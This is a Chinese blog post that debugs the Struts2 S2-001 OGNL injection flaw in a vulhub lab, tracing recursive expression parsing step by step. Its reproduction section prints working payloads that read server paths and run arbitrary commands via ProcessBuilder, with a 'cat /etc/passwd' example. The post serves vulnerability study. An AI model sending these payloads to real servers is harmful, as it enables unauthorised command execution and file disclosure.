【技術分享】Struts2-001 遠程代碼執行漏洞淺析
原理
(一)概述
搭建環境后,查看參考link,可了解相關信息。

(二)原理
漏洞的產生在于WebWork 2.1 和Struts 2的’altSyntax’配置允許OGNL 表達式被插入到文本字符串中并被遞歸處理(Struts2框架使用OGNL作為默認的表達式語言,OGNL是一種表達式語言,目的是為了在不能寫Java代碼的地方執行java代碼;主要作用是用來存數據和取數據的)。這就導致惡意用戶可以提交一個字符串(通常通過HTML的text字段),該字符串包含一個OGNL表達式,在表單驗證失敗后,此表達式會被server執行。例如,下面的表單默認不允許’phoneNumber’字段為空。
<s:form action="editUser"> <s:textfield name="name" /> <s:textfield name="phoneNumber" />s:form>
此時,惡意用戶可以將phoneNumber字段置空以觸發驗證錯誤,再控制name字段的值為 %{1+1}。當表單被重新展示給用戶時,name字段的值將為2。產生這種情況的原因是這個字段默認被當作%{name}處理,由于OGNL表達式被遞歸處理,處理的效果等同于%{%{1+1}}。實際上,相關的OGNL解析代碼在XWork組件中,并不在WebWork 2或Struts 2內。
用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。例如注冊或登錄頁面,提交失敗后端一般會默認返回之前提交的數據,由于后端使用 %{value} 對提交的數據執行了一次 OGNL 表達式解析,所以可以構造 payload 進行命令執行。
提交表單并驗證失敗時,由于Strust2默認會原樣返回用戶輸入的值而且不會跳轉到新的頁面,因此當返回用戶輸入的值并進行標簽解析時,如果開啟了altSyntax,會調用translateVariables方法對標簽中表單名進行OGNL表達式遞歸解析返回ValueStack值棧中同名屬性的值。因此我們可以構造特定的表單值讓其進行OGNL表達式解析從而達到任意代碼執行。
調試
(一)環境搭建
使用vulhub/struts2/s2-001
docker-compose builddocker-compose up -d
為了動態調試,我們將IDEA中默認生成的這句話append到 Tomcat 的 bin 目錄下的catalina.sh文件(如果是 Windows 系統則修改catalina.bat文件),
export JAVA_OPTS='-Xdebug -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=8001'
原docker-compose.yml修改如下,
version: '2'services: tomcat: build: . ports: - "8080:8080" - "8001:8001" environment: TZ: Asia/Shanghai JPDA_ADDRESS: 8001 JPDA_TRANSPORT: dt_socket command: ["catalina.sh", "jpda", "run"] networks: - default
調用棧將docker-compose down之后再docker-compose up -d,即可正常使用idea調試。

接下來將webapps/ROOT/WEB-INF下的lib和classes都加入idea的lib。
(二)復現
環境搭建完畢后訪問http://xxxx:8080/查看結果,

其中的password存在漏洞,用戶提交表單數據并且驗證失敗時,后端會將用戶之前提交的參數值使用 OGNL 表達式 %{value} 進行解析,然后重新填充到對應的表單數據中。
在translateVariables方法中,遞歸解析表達式,在處理完%{password}后將password的值直接取出并繼續在while循環中解析,若用戶輸入的password是惡意的ognl表達式,則得以解析執行。
按照vulhub的提示,我們可以使用如下命令獲取tomcat執行路徑:
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

重新渲染后,password字段已經變為執行結果。

相應的可以執行其他命令,這里不過多展示。
獲取Web路徑:
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}
執行任意命令(命令加參數:new java.lang.String[]{"cat","/etc/passwd"}):
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"pwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
(三)調試
Struts運行流程如下:
1.用戶發出請求
Tomcat接收請求,并選擇處理該請求的Web應用。
2.web容器去相應工程的web.xml
在web.xml中進行匹配,確定是由struts2的過濾器FilterDispatcher(StrutsPrepareAndExecuteFilter)來處理,找到該過濾器的實例(初始化)。
3.找到FilterDispatcher,回調doFilter()
通常情況下,web.xml文件中還有其他過濾器時,FilterDispatcher是放在濾器鏈的最后;如果在FilterDispatcher前出現了如SiteMesh這種特殊的過濾器,還必須在SiteMesh前引用Struts2的ActionContextCleanUp過濾器。
4.FilterDispatcher將請求轉發給ActionMapper
ActionMapper負責識別當前的請求是否需要Struts2做出處理。
5.ActionMapper告訴FilterDispatcher,需要處理這個請求,建立ActionProxy
FilterDispatcher會停止過濾器鏈以后的部分,所以通常情況下:FilterDispatcher應該出現在過濾器鏈的最后。然后建立一個ActionProxy對象,這個對象作為Action與xwork之間的中間層,會代理Action的運行過程.
6.ActionProxy詢問ConfigurationManager,讀取Struts.xml
ActionProxy對象詢問ConfigurationManager問要運行哪個Action。ConfigurationManager負責讀取并管理struts.xml的(可以理解為ConfigurationManager是struts.xml在內存中的映像)。在服務器啟動的時候,ConfigurationManager會一次性的把struts.xml中的所有信息讀到內存里,并緩存起來,以保證ActionProxy拿著來訪的URL向他詢問要運行哪個Action的時候,就可以直接查詢。
7.ActionProxy建立ActionInvocation對象
ActionProxy獲取了要運行的Action、相關的攔截器以及所有可能使用的result信息,開始建立ActionInvocation對象,ActionInvocation對象描述了Action運行的整個過程。
8.在execute()之前的攔截器
在execute()之前會執行很多默認的攔截器。攔截器的運行被分成兩部分,一部分在Action之前運行,一部分在Result之后運行,且順序是相反的。如在Action執行前的順序是攔截器1、攔截器2、攔截器3,那么運行Result之后,再次運行攔截器的時候,順序就是攔截器3、攔截器2、攔截器1。
9.執行execute()方法
10.根據execute方法返回的結果,也就是Result,在struts.xml中匹配選擇下一個頁面
11.找到模版頁面,根據標簽庫生成最終頁面
12.在execute()之后執行的攔截器,和8相反
13.ActionInvocation對象執行完畢
這時候已經得到了HttpServletResponse對象了,按照配置定義相反的順序再經過一次過濾器,向客戶端展示結果。
1.正常解析部分
前半部分調用棧如下:
translateVariables:119, TextParseUtil (com.opensymphony.xwork2.util)translateVariables:71, TextParseUtil (com.opensymphony.xwork2.util)findValue:313, Component (org.apache.struts2.components)evaluateParams:723, UIBean (org.apache.struts2.components)end:481, UIBean (org.apache.struts2.components)doEndTag:43, ComponentTagSupport (org.apache.struts2.views.jsp)_jspx_meth_s_005ftextfield_005f1:16, index_jsp (org.apache.jsp)_jspx_meth_s_005fform_005f0:16, index_jsp (org.apache.jsp)_jspService:14, index_jsp (org.apache.jsp)service:70, HttpJspBase (org.apache.jasper.runtime)service:742, HttpServlet (javax.servlet.http)...
發送請求,FilterDispatcher.doFilter被觸發,這其中調用FilterDispatcher.serviceAction,

invokeAction調用了action(LoginAction)的method(execute),

繼續運行,斷在LoginAction.execute(),

顯然,username不為admin,表單驗證失敗,此時Strust2默認會調用translateVariables方法對標簽中表單名進行OGNL表達式遞歸解析返回ValueStack值棧中同名屬性的值。
中間有若干底層流程,略過,我們直接在doStartTag()下斷,

本函數的功能是開始解析標簽,
繼續向下,開始加載第一個TextField,

接下來如果配置正確(我反正沒有配置正確?,只能看到下圖),應該會進入jsp頁面中,便可以清晰的看到jsp頁面被逐標簽解析。

當加載到/>時,會進入doEndTag()函數,從名字可以判斷,此函數的功能大概是完成對一個標簽的解析,因為調試時payload放在了password里面,因而此處對于username的解析不過展示。

此時前面的tag已經被展示出來,未進入doStartTag的password字段沒有顯示。

接下來我們快進到第二個TextField(password)的doEndTag()。

跟進this.component.end(),進入了org.apache.struts2.components.UIBean#end,

跟進this.evaluateParams();,
快進到this.altSyntax()處,

前面提到,altSyntax默認是開啟的,接下來的expr顯而易見為%{password},

跟進this.findValue(expr, valueClazz),

由前面可知,TextField 的valueClassType為class java.lang.String,且altSyntax默認開啟,

因此將會進入TextParseUtil.translateVariables(‘%’, expr, this.stack);,
步入,進入translateVariables,

二級步入,將進入調試的主體部分translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator),
此處傳入的expression為%{password},

接下來的while循環的目的是確定start和end的位置,

此處顯然不會進入if,

接下來,取出%{}表達式中的值,賦值給var,

然后調用stack.findValue(var, asType),由前面可知,此處的stack為OgnlValueStack,OgnlValueStack是ValueStack的實現類。

valueStack是struts2的值棧空間,是struts2存儲數據的空間,是一個接口,struts2使用OGNL表達式實際上是使用實現了ValueStack接口的類OgnlValueStack(它是ValueStack的默認實現類)。
客戶端發起一個請求時,struts2會創建一個Action實例同時創建一個OgnlValueStack值棧實例,OgnlValueStack貫穿整個Action的生命周期。Struts2中使用OGNL將請求Action的參數封裝為對象存儲到值棧中,并通過OGNL表達式讀取值棧中的對象屬性值。
ValueStack中有兩個主要區域
- CompoundRoot 區域:是一個ArrayList,存儲了Action實例,它作為OgnlContext的Root對象。獲取root數據不需要加#
- context 區域:即OgnlContext上下文,是一個Map,放置web開發常用的對象數據的引用。request、session、parameters、application等。獲取context數據需要加#
操作值棧,通常指的是操作ValueStack中的root區域。
ValueStack類的setValue和findValue方法可以設置和獲得Action對象的屬性值。OgnlValueStack的findValue方法可以在CompoundRoot中從棧頂向棧底找查找對象的屬性值。
跟進findValue(),

由函數名可以推測, 這一函數的功能是查找expr對應的值,且此函數最終要return value,我們可以大膽設想,value變量是本函數的重點,如此,則需要重點關注對value進行操作的函數OgnlUtil.getValue,

跟進,

compile對’password’進行解析,返回了適用的結果。
接下來跟進Ognl.getValue,看起來此函數會結合root和context進行value的獲取。

顯然,這里我們要關注的是result變量,這就需要跟進((Node)tree).getValue(ognlContext, root)。

顯然會進入下面的else分支,

跟進之,

看起來,經歷了若干級的調用,最終有效的是this.getValueBody(context, source),

跟進,可以看到再向下跟進最終是將password字段的值加載了進來。

不再深入跟進了,感覺好像沒什么意義了?,此時單單getValue的調用棧已經有幾層了。
getProperty:1643, OgnlRuntime (ognl)getValueBody:92, ASTProperty (ognl)evaluateGetValueBody:170, SimpleNode (ognl)getValue:210, SimpleNode (ognl)getValue:333, Ognl (ognl)getValue:194, OgnlUtil (com.opensymphony.xwork2.util)findValue:238, OgnlValueStack (com.opensymphony.xwork2.util)
接下來步出幾層,回到translateVariables:122, TextParseUtil (com.opensymphony.xwork2.util),

接下來經過拼接操作,expression被賦值,

2.遞歸解析部分
我們觀察到,此while循環只有一個出口,那就是if (start == -1 || end == -1 || count != 0),因此這里進行完expression的賦值后,會開啟新的一輪while。
這里我們可以看出,translateVariables無意之間遞歸解析了表達式,我們的password字段放置了%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}這樣一個包含%{expression}的字符串,%{password}的結果將再次被當作expression解析,就可能造成惡意ognl表達式的執行。
此次循環中,進入findValue的var是去掉前兩個字符的expression,也就是tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}。

接下來跟進findValue(),這里的流程和上面是一樣的,重點應該還是跟進OgnlUtil.getValue,

和剛才相同的流程,深入跟進至evaluateGetValueBody:170, SimpleNode (ognl)
getValue:210, SimpleNode (ognl),

跟進,

在對于第一行的getValue()進行跟進幾層之后,經過了一些表達式執行的操作,得到了result的第一部分。
接下來的for循環,會繼續執行完整表達式%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}的其他部分。

深入跟進時,發生了一些有趣的事情,

這里調用了System.getProperty(),實際上實現了代碼執行。

回到getValueBody,此時result已經被add上了新的一部分,

各部分add之后,最終的result如下。

逐級步出,回到TextParseUtil.translateVariables,expression被拼接為tomcatBinDir{/usr/local/tomcat},開啟一個新的循環。
但是此時,open為%,expression.indexOf(open + “{“)為-1,而start為-1時,將會return。

簡單跟進一下,

可以猜測,這里是將Object類型的o轉化為普通的字符串。
接下來簡單步出,可將流程結束。

收獲與啟示
借助學習和調試,了解了Struts2的運轉流程,簡單學習了OGNL表達式,增強了分析能力。
參考鏈接
https://blog.csdn.net/qq_37602797/article/details/108121783
http://wechat.doonsec.com/article/?id=308b4bab7df3ecdb3bdda6fe1e026ac6
https://blog.csdn.net/qq_43571759/article/details/105122443
https://blog.csdn.net/Auuuuuuuu/article/details/86775808
https://blog.csdn.net/weixin_44508748/article/details/105472482
https://cloud.tencent.com/developer/article/1598043
https://www.jianshu.com/p/99705a8ad3c3
https://blog.csdn.net/yu102655/article/details/52179695
https://www.cnblogs.com/kuoAT/p/6527981.html
https://blog.csdn.net/qq_44757034/article/details/106838688